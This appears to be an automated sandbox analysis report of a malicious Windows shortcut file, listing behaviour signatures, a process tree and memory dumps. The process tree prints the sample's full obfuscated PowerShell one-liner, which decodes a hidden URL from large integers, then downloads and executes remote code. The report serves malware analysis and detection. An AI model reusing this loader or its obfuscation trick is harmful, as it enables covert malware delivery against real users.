Analysis
- max time kernel
149s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
27/07/2026, 12:16
General
- Target photov_036353162133.lnk
- Size 1KB
- Sample260727-pftnfaag67
- SHA256 04e671694c54641e83ec40beeac652b936d8179253351845d77a1d31027ad2eb
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_036353162133.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$u81r68n=43;$g3eh_js=[bigint]::Parse('7386219503135813496541378210620160690108384219596617');$myh63=[bigint]::Parse('7386219493184121095834312888611936267291828414522320');$g3eh_js=$g3eh_js-$myh63;$ac_mb=@();while($g3eh_js -gt 0){$ac_mb+=[char][int]([bigint]::Remainder($g3eh_js,256));$g3eh_js=[bigint]::Divide($g3eh_js,256)};.([scriptblock]::Create((irm(-join$ac_mb))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$u81r68n=43;$g3eh_js=[bigint]::Parse('7386219503135813496541378210620160690108384219596617');$myh63=[bigint]::Parse('7386219493184121095834312888611936267291828414522320');$g3eh_js=$g3eh_js-$myh63;$ac_mb=@();while($g3eh_js -gt 0){$ac_mb+=[char][int]([bigint]::Remainder($g3eh_js,256));$g3eh_js=[bigint]::Divide($g3eh_js,256)};.([scriptblock]::Create((irm(-join$ac_mb))))"3⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5776-0-0x00007FF8489FF000-0x00007FF848A00000-memory.dmp
memory/5776-3-0x00000261E9DD0000-0x00000261E9DF2000-memory.dmp
memory/5776-4-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-5-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-6-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-7-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-8-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-9-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-10-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-11-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-12-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-13-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-14-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-16-0x00007FF848870000-0x00007FF849214000-memory.dmp
memory/5776-18-0x00007FF848870000-0x00007FF849214000-memory.dmp